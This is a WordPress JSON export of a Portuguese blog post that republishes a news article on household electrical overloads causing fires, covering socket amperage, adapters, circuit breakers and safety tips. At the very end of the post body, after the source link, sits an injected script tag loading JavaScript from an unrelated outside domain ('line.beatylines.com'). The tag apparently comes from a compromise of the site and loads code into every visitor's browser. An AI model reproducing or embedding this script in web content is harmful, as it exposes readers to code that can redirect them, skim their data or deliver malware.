{"id":2178,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/sobrecarga-de-energia-e-principal-causa-de-incendio\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"sobrecarga-de-energia-e-principal-causa-de-incendio","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/sobrecarga-de-energia-e-principal-causa-de-incendio\/","title":{"rendered":"sobrecarga de energia \u00e9 principal causa de inc\u00eandio"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>As resid\u00eancias continuam sendo o local de maior ocorr\u00eancia de inc\u00eandios de origem el\u00e9trica. Dos 637 casos registrados por sobrecarga na rede, 343 ocorreram dentro de uma casa, apartamento ou s\u00edtio, segundo a Abracopel (Associa\u00e7\u00e3o Brasileira de Conscientiza\u00e7\u00e3o para os Perigos da Eletricidade).<\/p>\n<p>Na s\u00e9rie hist\u00f3rica 2013-2021, o ano passado foi o segundo que mais registrou esse tipo de ocorr\u00eancia. 2019 bateu o recorde com 656 registros de inc\u00eandios.<\/p>\n<h2>Causas<\/h2>\n<p>Do total, 400 foram motivados por instala\u00e7\u00e3o el\u00e9trica prec\u00e1ria. Outros motivos que envolvem os acidentes de origem el\u00e9trica s\u00e3o:<\/p>\n<ul>\n<li>Instala\u00e7\u00f5es el\u00e9tricas antigas<\/li>\n<li>Gambiarras el\u00e9tricas, com instala\u00e7\u00f5es mal dimensionadas e\/ou mal feitas<\/li>\n<li>Aumento indiscriminado de carga na rede (como, muitos eletr\u00f4nicos usando a rede)<\/li>\n<li>Falta de manuten\u00e7\u00e3o por um profissional habilitado<\/li>\n<\/ul>\n<h2>Tomadas t\u00eam tamanhos diferentes<\/h2>\n<p>Alguns n\u00e3o sabem, mas existem dois tipos de tomadas de tr\u00eas pinos: uma tem corrente de 10A (amperes) e a outra tem 20A (para receber aparelhos mais potentes). A diferen\u00e7a entre elas \u00e9 pouco percept\u00edvel e est\u00e1 no tamanho.<\/p>\n<p>Os aparelhos que trabalham com corrente de at\u00e9 10A devem ser conectados na tomada que possui 4 mm de di\u00e2metro em cada pino \u2014 \u00e9 aquele buraquinho onde o plug \u00e9 encaixado. J\u00e1 os dispositivos que operam entre 10 e 20 A devem ser usados em tomadas com di\u00e2metro de 4,8 mm.<\/p>\n<p>&#8220;Voc\u00ea tem que respeitar este encaixe. Os aparelhos que exigem mais demanda de energia, v\u00e3o precisar de mais amperagem. Uma furadeira e um processador de alimentos precisam de 20A. Ent\u00e3o, precisam ser ligados na tomada com os pinos mais largos&#8221;, explica Marcos <span><span><span>Crivelaro<\/span><\/span><\/span>, professor de engenharia da <span><span><span>FIAP<\/span><\/span><\/span> (Faculdade de Inform\u00e1tica e Administra\u00e7\u00e3o Paulista).<\/p>\n<p>Colocar aparelhos que demandam 20A em tomadas de 10A geram sobrecarga no ponto de energia. Neste caso, al\u00e9m da tomada, \u00e9 preciso checar se a fia\u00e7\u00e3o \u00e9 capaz de suportar essa corrente extra.<\/p>\n<p>Outra causa de sobrecarga pode vir do uso que se faz da rede el\u00e9trica. Equipamentos com consumo maior e uso prolongado, como geladeiras, ar-condicionado, chuveiro, entre outros, devem ser ligados em circuitos pr\u00f3prios para evitar superaquecimento.<\/p>\n<h2>Gambiarra de adaptadores<\/h2>\n<p>Usar adaptadores para ligar aparelhos n\u00e3o compat\u00edveis em uma tomada de tr\u00eas pinos \u00e9 outra pr\u00e1tica perigosa e merece destaque.<\/p>\n<p>Os riscos variam de poss\u00edveis choques at\u00e9 queimaduras e inc\u00eandios, destaca <span><span>Crivelaro<\/span><\/span>. Aquece um pouco hoje. Amanh\u00e3 aquece mais. Depois mais um pouco. Depois de um tempo, a prote\u00e7\u00e3o do fio pode derreter e a\u00ed aparece aquela parte met\u00e1lica, explica o docente. Se a pessoa n\u00e3o percebe e est\u00e1 distra\u00edda, ela acaba tocando ali e toma um choque.<\/p>\n<p>O curto-circuito acontece quando condutores com polaridades diferentes entram em contato e provocam uma corrente el\u00e9trica de intensidade muito elevada, que flui sem resist\u00eancia.<\/p>\n<p>&#8220;Da forma como [os adaptadores] foram conectados, n\u00e3o existe rigidez mec\u00e2nica. Logo, o peso com o cabo tende a for\u00e7ar mecanicamente o conjunto, aumentando mais ainda o risco de mau contato e superaquecimento&#8221;, acrescenta Valter Avelino, professor de engenharia el\u00e9trica do Centro Universit\u00e1rio <span>FEI<\/span>.<\/p>\n<p>Aparelhos eletr\u00f4nicos de alta pot\u00eancia, que puxam mais energia, s\u00e3o:<\/p>\n<p>Nesses casos, o risco de usar gambiarras eletr\u00f4nicas ou colocar em rede de menor pot\u00eancia pode ser bastante perigoso. Os populares &#8220;benjamins&#8221; \u2014 ou extens\u00f5es que &#8220;transformam&#8221; uma tomada em v\u00e1rias tamb\u00e9m colocam a seguran\u00e7a em risco.<\/p>\n<p>&#8220;Isso pode fazer com que haja uma demanda maior de energia, acima da qual os condutores foram projetados&#8221;, alerta Rosa. O resultado disso? Em casos extremos a fia\u00e7\u00e3o pode &#8220;fritar&#8221;.<\/p>\n<h2>De olho na rede<\/h2>\n<p>Para evitar sobrecargas, a escolha do tipo de disjuntor deve levar em conta a corrente m\u00e1xima suportada pelos condutores, de prefer\u00eancia ficando abaixo dela, e n\u00e3o a corrente de funcionamento dos aparelhos.<\/p>\n<p>Disjuntores s\u00e3o aquelas chaves que desligam caso haja um pico de corrente fora do especificado em um circuito el\u00e9trico. Eles podem evitar acidentes desde que estejam instalados corretamente.<\/p>\n<p>&#8220;Uma atitude comum \u00e9 a troca dos disjuntores por modelos de maior capacidade porque eles passaram a desarmar com mais frequ\u00eancia. Isso acaba alimentando ainda mais o problema&#8221;, afirma Luiz Antonio Cosenza, engenheiro e presidente do CREA-RJ.<\/p>\n<p>Ele alerta que o ideal \u00e9 fazer uma revis\u00e3o na instala\u00e7\u00e3o el\u00e9trica das resid\u00eancias a cada cinco anos, j\u00e1 que pode haver desgaste de fios e conex\u00f5es.<\/p>\n<h2>Mais dicas para se proteger<\/h2>\n<ul>\n<li>Cuidado com o uso de benjamins, extens\u00f5es ou TEs. Observe as especifica\u00e7\u00f5es t\u00e9cnicas na descri\u00e7\u00e3o do produto e n\u00e3o use muitos eletr\u00f4nicos ligados ao mesmo tempo. Evite usar muitos aparelhos ligados ao mesmo tempo nesses casos.<\/li>\n<li>Fa\u00e7a uma revis\u00e3o a cada cinco anos, pelo menos, nas instala\u00e7\u00f5es el\u00e9tricas com profissionais qualificados e atualizados.<\/li>\n<li>Substitua tomadas que estejam em m\u00e1s condi\u00e7\u00f5es, aproveitando para colocar o novo padr\u00e3o de tomadas, de tr\u00eas pinos, caso seja necess\u00e1rio (mais seguro).<\/li>\n<li>N\u00e3o substitua disjuntores por outros de maior valor sem antes revisar e alterar a se\u00e7\u00e3o (bitola) dos fios. Na d\u00favida, procure profissionais especializados para auxiliar.<\/li>\n<\/ul>\n<p><em>*Com <a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2018\/07\/24\/megazord-da-gambiarra-voce-pode-incendiar-a-sua-casa.htm\">mat\u00e9ria de Bruna Souza Cruz<\/a><\/em><\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/07\/02\/sobrecarga-na-rede-eletrica-domestica-e-a-principal-causa-de-incendios.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>As resid\u00eancias continuam sendo o local de maior ocorr\u00eancia de inc\u00eandios de origem el\u00e9trica. Dos 637 casos registrados por sobrecarga na rede, 343 ocorreram dentro de uma casa, apartamento ou s\u00edtio, segundo a Abracopel (Associa\u00e7\u00e3o Brasileira de Conscientiza\u00e7\u00e3o para os Perigos da Eletricidade). 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